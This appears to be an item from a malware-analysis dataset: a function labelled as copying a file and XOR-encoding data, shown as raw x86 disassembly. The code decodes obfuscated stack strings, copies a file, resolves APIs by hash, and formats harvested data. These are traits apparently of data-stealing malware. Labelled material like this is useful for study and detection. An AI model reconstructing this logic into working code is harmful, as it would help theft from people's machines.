Function at 0x422582
Capabilities:
Copy file
Encode data using xor

Disassembly:
push dword [esp + 4]
call fcn.00421ba0
add esp, 4
test al, al
je 0x4222c0
mov al, 1
ret
push ebp
push ebx
push edi
push esi
sub esp, 0xdc
mov dword [esp + 0x9c], 0xd7a4c981
mov dword [esp + 0xa0], 0xd3aed5ab
mov dword [esp + 0xa4], 0xdfaad1b1
mov dword [esp + 0xa8], 0xdb8adda8
mov dword [esp + 0xac], 0xe79ad9b9
mov dword [esp + 0xb0], 0xe3e2e58c
mov dword [esp + 0xb4], 0
xor eax, eax
xor ecx, ecx
nop
nop
nop
nop
nop
mov esi, ecx
xor esi, 0xb2
mov edx, eax
and edx, 0x1a
sub edx, esi
xor dl, byte [esp + ecx + 0x9c]
add dl, 0x7a
mov byte [esp + ecx + 0x9c], dl
inc ecx
add eax, 2
cmp ecx, 0x1c
jne 0x422320
mov dword [esp + 0x18], 0xf300f114
mov dword [esp + 0x1c], 0xef11ed11
mov dword [esp + 0x20], 0xeb19e911
mov dword [esp + 0x24], 0xe714e508
mov dword [esp + 0x28], 0xe306e109
mov dword [esp + 0x2c], 0x9f5f9d69
mov dword [esp + 0x30], 0x9b62995b
mov dword [esp + 0x34], 0x9760956d
mov dword [esp + 0x38], 0x9376916d
mov dword [esp + 0x3c], 0x8f798d7f
mov dword [esp + 0x40], 0x8b668976
mov dword [esp + 0x44], 0x8747856b
mov dword [esp + 0x48], 0x837f8172
mov dword [esp + 0x4c], 0xbf50bd58
mov dword [esp + 0x50], 0xbb2eb959
mov dword [esp + 0x54], 0xb72bb53a
mov dword [esp + 0x58], 0xb341b154
mov dword [esp + 0x5c], 0xaf33ad20
mov dword [esp + 0x60], 0xab3fa949
mov dword [esp + 0x64], 0xa5a4
mov eax, 0xac
mov ecx, 0x53
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + eax - 0x94]
mov edx, ecx
xor edx, eax
and edx, esi
xor edx, eax
add dl, 0xa4
mov byte [esp + eax - 0x94], dl
inc eax
dec ecx
cmp eax, 0xfc
jne case.default.0x422441
lea ebp, [esp + 0x9c]
lea esi, [esp + 0x18]
push ebp
push esi
call fcn.00433ad0
add esp, 8
mov ebx, eax
xor eax, eax
test ebx, ebx
sete al
jmp dword [eax*4 + 0x443d5c]
mov ecx, ebx
nop
nop
nop
nop
nop
nop
mov eax, ecx
add ecx, 2
cmp word [eax], 0
jne 0x422450
sub eax, ebx
cmp eax, 0xffffffd9
jge 0x422470
mov eax, 0xffffffff
jmp 0x422473
xor eax, eax
jmp 0x423187
add eax, 0x26
push eax
call fcn.00408a60
add esp, 4
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], 0x77d909ac
mov dword [esp + 0x1c], 0x73e075e7
mov dword [esp + 0x20], 0x7fd771da
mov dword [esp + 0x24], 0x7bde7dd7
mov dword [esp + 0x28], 0x67f579d7
mov dword [esp + 0x2c], 0x63c865f6
mov dword [esp + 0x30], 0x6fc561c9
mov dword [esp + 0x34], 0x6bf06d3e
mov dword [esp + 0x38], 0x57fc69c4
mov word [esp + 0x3c], 0x5554
mov dword [esp + 0x3e], 0
mov byte [esp + 0x42], 0
xor eax, eax
xor ecx, ecx
mov edi, eax
and edi, 0x7c
mov edx, ecx
xor edx, 0x3e
add edx, edi
xor dl, byte [esp + ecx + 0x18]
add dl, 0xca
mov byte [esp + ecx + 0x18], dl
inc ecx
add eax, 2
cmp ecx, 0x2b
jne 0x4224e0
movzx ecx, word [ebx]
mov edi, dword [esp + 0x14]
mov eax, edi
test cx, cx
je 0x422531
mov edx, ebx
add edx, 2
mov eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x422520
mov word [eax], 0
movzx ecx, word [esp + 0x18]
test cx, cx
je 0x422561
lea edx, [esp + 0x1a]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x422550
mov word [eax], 0
jmp dword [0x443d64]
push ebx
call fcn.00408a70
add esp, 4
movzx eax, word [edi]
mov ecx, dword [case.0x422441.6]
nop
nop
jmp ecx
xor ecx, ecx
cmp ax, 0x2a
sete cl
jmp dword [ecx*4 + 0x443d7c]
mov dword [esp + 0x18], 0xf934fbc1
mov dword [esp + 0x1c], 0xfd5bff54
mov dword [esp + 0x20], 0xf160f36d
mov dword [esp + 0x24], 0xf569f76a
mov dword [esp + 0x28], 0xe946eb6d
mov dword [esp + 0x2c], 0xed7fef4d
mov dword [esp + 0x30], 0xe178e37e
mov dword [esp + 0x34], 0xe57fe77f
mov dword [esp + 0x38], 0xd950db36
mov dword [esp + 0x3c], 0xdd44df7c
mov word [esp + 0x40], 0xd3dc
mov dword [esp + 0x42], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
and ecx, 0x3d
mov edx, eax
and edx, 2
mov edi, eax
or edi, 2
imul edi, edx
xor edx, 2
imul edx, ecx
mov ecx, eax
xor ecx, 0x7f
add ecx, edi
add ecx, edx
xor cl, byte [esp + eax + 0x18]
add cl, 0x85
mov byte [esp + eax + 0x18], cl
inc eax
cmp eax, 0x2e
jne case.default.0x422658
push 0
push esi
mov edi, dword [esp + 0x1c]
push edi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0x60
push 3
push 0x120089
push ebp
push edi
call fcn.0043c6e0
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x443d84]
xor ebp, ebp
xor esi, esi
jmp dword [0x443e04]
push edi
call fcn.00408a70
add esp, 4
xor eax, eax
cmp ebp, esi
sete al
mov ecx, ebp
jmp dword [eax*4 + 0x443e0c]
lea eax, [esp + 0x74]
push 0
push eax
push dword [esp + 0xa4]
call fcn.0043ca20
add esp, 0xc
mov ecx, dword [case.0x422658.3]
nop
nop
jmp ecx
not eax
shr eax, 0x1f
mov dword [esp + 4], 0
xor ebp, ebp
jmp dword [eax*4 + 0x443d9c]
mov edi, dword [esp + 0x74]
lea eax, [edi + 1]
push eax
call fcn.00408a60
add esp, 4
push 0
push edi
mov dword [esp + 8], eax
push eax
push dword [esp + 0xa8]
call fcn.0043caf0
add esp, 0x10
not eax
shr eax, 0x1f
mov dword [esp + 4], 0
xor ebx, ebx
jmp dword [eax*4 + 0x443da4]
mov ebx, dword [esp]
jmp dword [0x443db0]
mov dword [esp + 4], esi
mov eax, esi
mov dword [esp + 0x10], ecx
sub eax, ecx
sar eax, 3
mov ecx, eax
and ecx, 0xfffffbde
mov edx, eax
and edx, 0x421
or eax, 0x421
imul eax, edx
xor edx, 0x421
imul edx, ecx
add eax, edx
push eax
call fcn.00408a60
add esp, 4
mov ebx, eax
mov dword [esp + 0x18], 0xd182cfeb
mov dword [esp + 0x1c], 0xd5b7d3a1
mov dword [esp + 0x20], 0xd9bad7b7
mov dword [esp + 0x24], 0xddaadb9b
mov dword [esp + 0x28], 0xe19adfac
mov dword [esp + 0x2c], 0xe596e383
mov dword [esp + 0x30], 0xe9c1e787
mov dword [esp + 0x34], 0xedbfebb4
mov dword [esp + 0x38], 0xf189ef98
mov dword [esp + 0x3c], 0xf59df393
mov dword [esp + 0x40], 0xf99af7a8
mov dword [esp + 0x44], 0xfd9ffb89
mov dword [esp + 0x48], 0x192ff9f
mov dword [esp + 0x4c], 0x574032e
mov dword [esp + 0x50], 0x9600760
lea eax, [esp + 0x54]
mov word [esp + 0x54], 0xb08
mov dword [esp + 0x56], 0
mov word [esp + 0x5a], 0
xor ecx, ecx
nop
mov edx, ecx
add dl, 0x4d
xor dl, byte [esp + ecx + 0x18]
add dl, 0x7f
mov byte [esp + ecx + 0x18], dl
inc ecx
cmp ecx, 0x44
jne 0x4227d0
lea ebp, [esp + 0x18]
mov edx, ebp
mov ecx, 0xf
lea esi, [esp + 0x9c]
mov edi, esi
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edi, [esp + 0xd8]
mov ecx, 1
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
lea eax, [esp + 0x8c]
push eax
push 0
push 0
push 0x1e
push esi
push 0
call dword [0x44961c]
mov edi, dword [esp + 0x8c]
test edi, edi
jns 0x42283a
mov eax, 0xffffffff
jmp 0x42283d
lea eax, [edi + edi]
push eax
call fcn.00408a60
add esp, 4
mov esi, eax
lea eax, [esp + 0x8c]
push eax
push edi
push esi
push 0x1e
lea eax, [esp + 0xac]
push eax
push 0
call dword [0x44961c]
lea eax, [esp + 0x70]
push 0x60
push 3
push 0x120089
push eax
mov dword [esp + 0x7c], esi
push esi
call fcn.0043c6e0
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x443e24]
xor eax, eax
mov edi, ebx
mov esi, dword [esp + 0xf0]
jmp dword [0x443f2c]
mov dword [esp], eax
push dword [esp + 0x6c]
call fcn.00408a70
add esp, 4
mov eax, dword [esp]
and al, 1
movzx eax, al
jmp dword [eax*4 + 0x443f34]
jmp dword [0x443f3c]
lea eax, [esp + 0x88]
push 0
push eax
push dword [esp + 0x78]
call fcn.0043ca20
add esp, 0xc
not eax
shr eax, 0x1f
mov dword [esp], 0
mov esi, ebx
mov dword [esp + 0x68], ebx
jmp dword [eax*4 + 0x443e2c]
mov esi, dword [esp + 0x88]
lea eax, [esi + 1]
push eax
call fcn.00408a60
add esp, 4
mov edi, eax
push 0
push esi
push eax
push dword [esp + 0x7c]
call fcn.0043caf0
add esp, 0x10
not eax
shr eax, 0x1f
mov dword [esp], 0
mov esi, ebx
jmp dword [eax*4 + 0x443e34]
mov esi, dword [esp + 0x88]
mov byte [edi + esi], 0
push 0x20
call fcn.00408a60
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [esp + 0x7c], eax
mov ecx, eax
push esi
mov dword [esp + 0x94], edi
push edi
call fcn.00424cb0
movzx eax, al
mov dword [esp], 0
mov esi, ebx
jmp dword [eax*4 + 0x443e3c]
mov dword [esp + 0x18], 0x6d606ab1
mov dword [esp + 0x1c], 0x66685871
mov dword [esp + 0x20], 0x6d55592d
mov dword [esp + 0x24], 0x40276c7a
mov dword [esp + 0x28], 0x7a4d7060
mov dword [esp + 0x2c], 0x7f7f2a39
mov dword [esp + 0x30], 0x7547787e
mov dword [esp + 0x34], 0x7d434025
mov word [esp + 0x38], 0xdb7f
mov dword [esp + 0x3a], 0
mov byte [esp + 0x3e], 0
mov eax, 0x964b727f
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 0x69b48d99]
mov edx, eax
and edx, ecx
add edx, edx
sub ecx, edx
add ecx, eax
mov edx, ecx
and edx, 1
xor ecx, 1
lea ecx, [ecx + edx*2]
add cl, 0x84
mov byte [esp + eax + 0x69b48d99], cl
inc eax
cmp eax, 0x964b72a6
jne 0x4229f0
mov ecx, dword [esp + 0x7c]
lea eax, [esp + 0x18]
push eax
call fcn.00424ee0
xor ecx, ecx
test eax, eax
setne cl
mov dword [esp], 0
mov esi, dword [esp + 0x68]
jmp dword [ecx*4 + 0x443e44]
mov edi, dword [esp + 0x90]
jmp dword [0x443f0c]
mov ebx, dword [esp + 0x7c]
mov ecx, ebx
call fcn.00425050
push ebx
call fcn.00408a70
add esp, 4
jmp dword [0x443f14]
jmp dword [0x443f14]
jmp dword [0x443f20]
add eax, 8
mov dword [esp], 0
mov edi, dword [eax]
xor eax, eax
test edi, edi
setne al
mov esi, dword [esp + 0x68]
jmp dword [eax*4 + 0x443e5c]
add edi, 4
mov edi, dword [edi]
xor eax, eax
test edi, edi
setne al
jmp dword [eax*4 + 0x443e5c]
mov edx, dword [edi]
cmp dword [edi + 0x18], 3
mov ebp, 0
jne case.default.0x422ad2
mov ebp, dword [edi + 0x10]
test edx, edx
setne al
test ebp, ebp
setne cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x443e64]
mov dword [esp + 8], edx
mov dword [esp + 0x98], edi
mov dword [esp + 0xc], esi
mov eax, ebp
nop
nop
nop
nop
nop
nop
mov edi, eax
inc eax
cmp byte [edi], 0
jne case.default.0x422b1b
sub edi, ebp
inc edi
shr edi, 1
lea eax, [edi + 1]
push eax
call fcn.00408a60
add esp, 4
movsx edx, byte [ebp]
xor ecx, ecx
test edx, edx
setne cl
mov dword [esp + 0x94], eax
jmp dword [ecx*4 + 0x443e7c]
inc ebp
mov byte [eax], cl
inc eax
movsx edx, byte [ebp]
xor ecx, ecx
test edx, edx
setne cl
jmp dword [ecx*4 + 0x443e7c]
lea ecx, [edx - 0x30]
cmp ecx, 0xa
jb 0x422b53
mov ecx, 0xffffffff
or edx, 0x20
lea esi, [edx - 0x61]
cmp esi, 6
jae case.default.0x422b6e
add edx, 0xffffffa9
mov ecx, edx
movsx edx, byte [ebp + 1]
xor ebx, ebx
test edx, edx
setne bl
jmp dword [ebx*4 + 0x443e84]
lea esi, [edx - 0x30]
cmp esi, 0xa
jb 0x422b82
mov esi, 0xffffffff
or edx, 0x20
lea ebx, [edx - 0x61]
cmp ebx, 6
jae case.default.0x422ba8
add edx, 0xffffffa9
mov esi, edx
shl ecx, 4
or ecx, esi
add ebp, 2
mov byte [eax], cl
inc eax
movsx edx, byte [ebp]
xor ecx, ecx
test edx, edx
setne cl
jmp dword [ecx*4 + 0x443e7c]
jmp dword [0x443e8c]
mov byte [eax], 0
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [eax], 0
jmp dword [0x443e94]
push 0
push 0x10
push 0
push dword [esp + 0x14]
call fcn.004250f0
add esp, 0x10
mov dword [esp + 8], eax
mov dword [esp + 0x14], edx
xor edx, edx
mov ecx, dword [case.0x422441.86]
xor eax, eax
mov esi, dword [esp + 0x10]
cmp esi, dword [esp + 4]
setne al
jmp dword [eax*4 + 0x443e9c]
mov edx, dword [esi]
xor ebx, ebx
jmp dword [ebx*4 + 0x443ebc]
add esi, 8
xor ebx, ebx
cmp esi, dword [esp + 4]
setne bl
jmp dword [ebx*4 + 0x443e9c]
mov ebx, dword [esi + 4]
mov ebp, ebx
shr ebp, 0x1c
shl ebx, 4
or ebx, 1
xor ebp, dword [esp + 0x14]
xor ebx, dword [esp + 8]
xor eax, eax
or ebx, ebp
sete al
jmp dword [eax*4 + 0x443ea4]
jmp ecx
mov ebx, 1
jmp dword [ebx*4 + 0x443ebc]
xor eax, eax
test edx, edx
setne al
mov ebp, dword [esp + 0x94]
jmp dword [eax*4 + 0x443ec4]
mov esi, edx
mov dword [esp + 0x18], edi
mov dword [esp + 0x1c], ebp
mov eax, 0xffffffff
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [esi + eax + 1], 0
lea eax, [eax + 1]
jne case.default.0x422cee
mov dword [esp + 0x74], eax
mov dword [esp + 0x78], esi
mov dword [esp + 0x80], 0
mov dword [esp + 0x84], 0
push 0x14e20a34
push dword [0x44962c]
call fcn.0043bcb0
add esp, 8
lea ecx, [esp + 0x80]
lea edx, [esp + 0x74]
push ecx
push 1
push 0
push 0
push edx
push 0
lea ecx, [esp + 0x30]
push ecx
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x443ecc]
mov eax, dword [case.0x422441.89]
jmp case.0x422441.93
movzx eax, byte [esi]
test al, al
je 0x422d1d
inc esi
mov edi, dword [esp + 0xc]
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [esi]
inc esi
test al, al
jne 0x422d10
jmp 0x422d21
mov edi, dword [esp + 0xc]
mov word [edi], 0x203a
add edi, 2
mov edx, dword [esp + 0x80]
test edx, edx
je 0x422d6b
mov eax, dword [esp + 0x84]
mov ecx, edx
and ecx, 3
je 0x422d6f
xor esi, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [eax]
cmp bl, 1
sbb eax, 0xffffffff
mov byte [edi + esi], bl
inc esi
cmp ecx, esi
jne 0x422d50
add edi, esi
mov ecx, edx
sub ecx, esi
mov esi, edi
jmp 0x422d71
mov esi, edi
jmp 0x422db9
mov ecx, edx
cmp edx, 4
jb 0x422db9
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [eax]
cmp dl, 1
sbb eax, 0xffffffff
mov byte [edi], dl
movzx edx, byte [eax]
cmp dl, 1
sbb eax, 0xffffffff
mov byte [edi + 1], dl
movzx edx, byte [eax]
cmp dl, 1
sbb eax, 0xffffffff
mov byte [edi + 2], dl
movzx edx, byte [eax]
cmp dl, 1
sbb eax, 0xffffffff
lea esi, [edi + 4]
mov byte [edi + 3], dl
mov edi, esi
add ecx, 0xfffffffc
jne 0x422d80
mov byte [esi], 0xa
inc esi
push 0xbe5098bb
push dword [0x449614]
call fcn.0043bcb0
add esp, 8
push dword [esp + 0x84]
call eax
mov al, 1
mov dword [esp], eax
mov eax, dword [case.0x422441.89]
mov dword [esp + 0xc], esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
mov esi, dword [esp + 0xc]
mov edi, dword [esp + 0x98]
jmp dword [0x443ef4]
jmp dword [0x443f00]
push ebp
call fcn.00408a70
add esp, 4
push ebp
call fcn.00408a70
add esp, 4
jmp dword [0x443f08]
mov ebp, ebx
mov esi, dword [esp + 0x6c]
mov ecx, esi
call fcn.00425050
push esi
call fcn.00408a70
add esp, 4
mov esi, dword [esp]
jmp dword [0x443dec]
mov dword [esp + 0x18], 0xede0ea11
mov dword [esp + 0x1c], 0xe6e8f8d1
mov dword [esp + 0x20], 0xedf5f92d
mov dword [esp + 0x24], 0x27ecda
mov dword [esp + 0x28], 0x1a0d10e0
mov dword [esp + 0x2c], 0x80be8d9
mov dword [esp + 0x30], 0x1510281d
mov dword [esp + 0x34], 0xa715
mov byte [esp + 0x38], 0
xor ecx, ecx
mov eax, 0xffffffff
mov ebp, dword [esp + 0x6c]
mov edx, eax
or edx, 0x11de4eef
add edx, ecx
inc edx
mov edi, edx
and edi, 0xfffffffd
mov ebx, edx
and ebx, 2
or edx, 2
imul edx, ebx
xor ebx, 2
imul ebx, edi
mov edi, ecx
xor edi, 0x11de4eef
add edi, edx
add edi, ebx
movzx edx, byte [esp + ecx + 0x18]
xor edi, edx
add edi, 0xa6a87554
mov edx, edi
and edx, 0x17
xor edi, 0x17
lea edx, [edi + edx*2]
add dl, 0xea
mov byte [esp + ecx + 0x18], dl
inc ecx
dec eax
cmp ecx, 0x21
jne case.default.0x422efc
mov ecx, ebp
push esi
call fcn.00424ee0
xor ecx, ecx
test eax, eax
setne cl
mov dword [esp + 4], 0
xor ebx, ebx
jmp dword [ecx*4 + 0x443dc4]
add eax, 8
mov dword [esp + 4], 0
mov ecx, dword [eax]
xor eax, eax
mov dword [esp + 8], ecx
test ecx, ecx
setne al
xor ebx, ebx
xor ebp, ebp
jmp dword [eax*4 + 0x443dcc]
mov dword [esp + 4], esi
mov ecx, dword [esp + 8]
add ecx, 4
mov ecx, dword [ecx]
xor eax, eax
mov dword [esp + 8], ecx
test ecx, ecx
setne al
jmp dword [eax*4 + 0x443dcc]
mov esi, dword [esp + 4]
jmp dword [0x443dd4]
mov eax, dword [esp + 8]
mov edx, dword [eax]
mov ecx, esi
sub ecx, ebx
cmp esi, ebp
je 0x422f74
mov dword [esp + 0x10], ebx
mov edi, esi
mov esi, ebx
jmp 0x422ffe
mov dword [esp + 4], edx
mov dword [esp + 0xc], ecx
mov eax, ecx
sar eax, 3
inc eax
mov ecx, ebp
mov dword [esp + 0x10], ebx
sub ecx, ebx
sar ecx, 3
mov ebx, ecx
shr ebx, 1
add ebx, ecx
cmp ebx, eax
ja 0x422f99
mov ebx, eax
lea eax, [ebx*8]
push eax
call fcn.00408a60
add esp, 4
mov esi, eax
mov edx, dword [esp + 0x10]
test edx, edx
je 0x422feb
cmp edx, ebp
je 0x422fe2
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [edx + eax]
mov dword [esi + eax], ecx
mov ecx, dword [edx + eax + 4]
mov dword [esi + eax + 4], ecx
mov dword [edx + eax], 0
lea ecx, [edx + eax]
add ecx, 8
add eax, 8
cmp ecx, ebp
jne 0x422fc0
push edx
call fcn.00408a70
add esp, 4
lea ebp, [esi + ebx*8]
mov edi, esi
mov ecx, dword [esp + 0xc]
add edi, ecx
mov dword [esp + 0x10], esi
mov edx, dword [esp + 4]
add ecx, esi
call fcn.00425d80
add edi, 8
mov ebx, dword [esp + 0x10]
mov esi, edi
jmp case.0x422efc.3
push edx
call fcn.00408a70
add esp, 4
lea ebp, [ebx + esi*8]
mov esi, ebx
add esi, edi
mov edx, dword [esp + 4]
add edi, ebx
mov ecx, edi
call fcn.00425d80
add esi, 8
jmp dword [0x443de0]
mov eax, dword [esp + 8]
mov edx, dword [eax]
mov edi, esi
sub edi, ebx
cmp esi, ebp
jne 0x423024
mov dword [esp + 4], edx
mov eax, edi
sar eax, 3
inc eax
mov ecx, ebp
mov dword [esp + 0x10], ebx
sub ecx, ebx
sar ecx, 3
mov esi, ecx
shr esi, 1
add esi, ecx
cmp esi, eax
ja 0x423065
mov esi, eax
lea eax, [esi*8]
push eax
call fcn.00408a60
add esp, 4
mov ebx, eax
mov edx, dword [esp + 0x10]
test edx, edx
je 0x423019
cmp edx, ebp
je 0x423010
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [edx + eax]
mov dword [ebx + eax], ecx
mov ecx, dword [edx + eax + 4]
mov dword [ebx + eax + 4], ecx
mov dword [edx + eax], 0
lea ecx, [edx + eax]
add ecx, 8
add eax, 8
cmp ecx, ebp
jne 0x423090
jmp 0x423010
mov dword [esp], eax
and al, 1
movzx eax, al
jmp dword [eax*4 + 0x443f34]
jmp dword [0x443f4c]
mov dword [esp], eax
jmp dword [0x443f4c]
push ebx
call fcn.00408a70
add esp, 4
mov eax, dword [esp]
and al, 1
mov ecx, dword [esp + 0x10]
mov esi, dword [esp + 4]
test ecx, ecx
jne 0x42314c
jmp 0x423187
mov dword [esp + 0x6c], ebp
movzx eax, al
mov dword [esp + 4], 0
xor ebx, ebx
jmp dword [eax*4 + 0x443dbc]
jmp dword [0x443de4]
mov ebp, ebx
mov esi, dword [esp]
jmp dword [0x443dec]
jmp dword [0x443df8]
xor eax, eax
cmp ebp, esi
sete al
mov ecx, ebp
jmp dword [eax*4 + 0x443e0c]
jmp dword [0x443e1c]
xor eax, eax
test ecx, ecx
je 0x423187
cmp ecx, esi
je 0x423187
mov ebp, eax
mov ebx, esi
mov esi, ecx
jmp 0x423167
add esi, 8
cmp esi, ebx
je 0x42317c
mov eax, dword [esi]
test eax, eax
je 0x423160
push eax
mov edi, ecx
call fcn.00408a70
mov ecx, edi
add esp, 4
jmp 0x423160
push ecx
call fcn.00408a70
add esp, 4
mov eax, ebp
add esp, 0xdc
pop esi
pop edi
pop ebx
pop ebp
ret
mov byte [edi], 0
mov dword [esp + 0x18], 0x8d8e8f5f
mov dword [esp + 0x1c], 0x8171768b
mov dword [esp + 0x20], 0x9c88868f
mov dword [esp + 0x24], 0x6a9e7e59
mov dword [esp + 0x28], 0x755f906f
mov dword [esp + 0x2c], 0x9b659e91
mov dword [esp + 0x30], 0xb1925991
mov word [esp + 0x34], 0x3bac
mov dword [esp + 0x36], 0
mov byte [esp + 0x3a], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 5
xor cl, byte [esp + eax + 0x18]
add cl, 0xe7
mov byte [esp + eax + 0x18], cl
mov ecx, eax
and ecx, 1
xor eax, 1
lea eax, [eax + ecx*2]
cmp eax, 0x23
jb 0x4231f0
mov eax, edi
sub eax, ebx
mov ecx, esi
push eax
push ebx
push ebp
call fcn.00409950
mov byte [edi], 0
mov dword [esp + 0x18], 0x8d8e8f5f
mov dword [esp + 0x1c], 0x8171768b
mov dword [esp + 0x20], 0x9c88868f
mov dword [esp + 0x24], 0x6a9e7e59
mov dword [esp + 0x28], 0x755f906f
mov dword [esp + 0x2c], 0x9b659e91
mov dword [esp + 0x30], 0xb1925991
mov word [esp + 0x34], 0x3bac
mov dword [esp + 0x36], 0
mov byte [esp + 0x3a], 0
xor eax, eax
nop
mov ecx, eax
add cl, 5
xor cl, byte [esp + eax + 0x18]
add cl, 0xe7
mov byte [esp + eax + 0x18], cl
mov ecx, eax
and ecx, 1
xor eax, 1
lea eax, [eax + ecx*2]
cmp eax, 0x23
jb 0x423270
mov eax, edi
sub eax, ebx
mov ecx, esi
push eax
push ebx
push ebp
call fcn.00409950
jmp dword [0x443f48]
mov dword [esp + 0xc], esi
mov ebp, dword [esp + 0x70]
mov dword [esp + 0x18], 0x94959a9b
mov ecx, 0x9f68e67
nop
nop
nop
nop
nop
nop
nop
movzx eax, byte [esp + ecx - 0x9f68e4f]
lea edx, [ecx - 1]
and edx, eax
lea esi, [edx + edx]
mov ebx, ecx
add bl, al
and bl, 1
add bl, al
add eax, ecx
sub eax, esi
mov bh, al
xor bh, 1
add bh, bl
and al, 0xfe
sub bh, al
add dl, dl
sub bh, dl
movzx eax, bh
add eax, ecx
mov byte [esp + ecx - 0x9f68e4f], al
inc ecx
cmp ecx, 0x9f68e6b
jne 0x4232c0
mov ecx, dword [0x449620]
test ecx, ecx
je 0x423342
mov edx, dword [esp + 0x18]
xor esi, esi
mov edi, dword [0x449624]
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0xb62b8d10
je 0x42333a
mov eax, esi
xor eax, 1
and esi, 1
lea esi, [eax + esi*2]
cmp esi, ecx
jb 0x423320
jmp 0x423342
mov eax, dword [edi + esi*8 + 4]
cmp eax, edx
jne 0x42335e
mov esi, dword [esp + 0xf0]
mov ebx, dword [esp + 0x68]
lea ebp, [esp + 0x18]
mov edi, dword [esp + 0xc]
mov eax, dword [esp]
jmp dword [0x443f2c]
push ebp
push 1
push eax
push dword [0x449628]
call fcn.00438b80
add esp, 0x10
mov esi, dword [esp + 0xf0]
mov ebx, dword [esp + 0x68]
lea ebp, [esp + 0x18]
mov edi, dword [esp + 0xc]
mov eax, dword [esp]
jmp dword [0x443f2c]
mov eax, dword [esp + 0x9c]
mov dword [esp + 8], eax
mov dword [esp + 0x18], 0x94959a9b
mov ecx, 0x9f68e67
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [esp + ecx - 0x9f68e4f]
lea edx, [ecx - 1]
and edx, ebx
lea esi, [edx + edx]
mov eax, ecx
add al, bl
and al, 1
add al, bl
add ebx, ecx
sub ebx, esi
mov ah, bl
xor ah, 1
add ah, al
and bl, 0xfe
sub ah, bl
add dl, dl
sub ah, dl
movzx eax, ah
add eax, ecx
mov byte [esp + ecx - 0x9f68e4f], al
inc ecx
cmp ecx, 0x9f68e6b
jne 0x4233b0
mov ecx, dword [0x449620]
test ecx, ecx
je 0x423432
mov edx, dword [esp + 0x18]
xor esi, esi
mov edi, dword [0x449624]
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0xb62b8d10
je 0x42342a
mov eax, esi
xor eax, 1
and esi, 1
lea esi, [eax + esi*2]
cmp esi, ecx
jb 0x423410
jmp 0x423432
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x423440
mov esi, dword [esp + 4]
mov edi, dword [esp + 0x14]
jmp dword [0x443e04]
push dword [esp + 8]
push 1
push ecx
push dword [0x449628]
call fcn.00438b80
add esp, 0x10
mov esi, dword [esp + 4]
mov edi, dword [esp + 0x14]
jmp dword [0x443e04]
push esi
call fcn.00408a70
add esp, 4
push esi
call fcn.00408a70
add esp, 4
jmp dword [0x443dfc]
mov edi, dword [esp + 0x74]
mov byte [ebx + edi], 0
push 0x20
call fcn.00408a60
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov ecx, eax
push edi
push ebx
call fcn.00424cb0
mov edi, dword [esp + 0x74]
mov byte [ebx + edi], 0
push 0x20
call fcn.00408a60
add esp, 4
mov ebp, eax
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov ecx, eax
push edi
push ebx
call fcn.00424cb0
jmp dword [0x443db8]
push edi
call fcn.00408a70
add esp, 4
push edi
call fcn.00408a70
add esp, 4
jmp dword [0x443f24]
int3
jmp dword [0x443f68]
jmp dword [0x443f6c]
push esi
call fcn.00408a70
add esp, 4
mov eax, dword [esp + 0x4c]
and al, 1
add esp, 0xf4
pop esi
pop edi
pop ebx
pop ebp
ret
mov ecx, dword [esp + 0x84]
add ecx, 4
xor eax, eax
cmp ecx, 0xc
setne al
jmp dword [eax*4 + 0x443f54]
mov dword [esp + 0x84], ecx
mov edx, dword [esp + ecx + 0x90]
mov eax, 0xfffffffe
nop
nop
nop
nop
cmp word [edx + eax + 2], 0
lea eax, [eax + 2]
jne 0x423890
mov dword [esp + 0x6c], eax
mov ecx, eax
sar ecx, 1
mov eax, dword [esp + 0x60]
mov dword [esp + 0x50], ecx
add eax, ecx
inc eax
mov ecx, eax
and ecx, 0xc
xor eax, 0xc
lea eax, [eax + ecx*2]
test eax, eax
mov dword [esp + 0x58], edx
jns 0x4238d0
mov eax, 0xffffffff
jmp 0x4238d2
add eax, eax
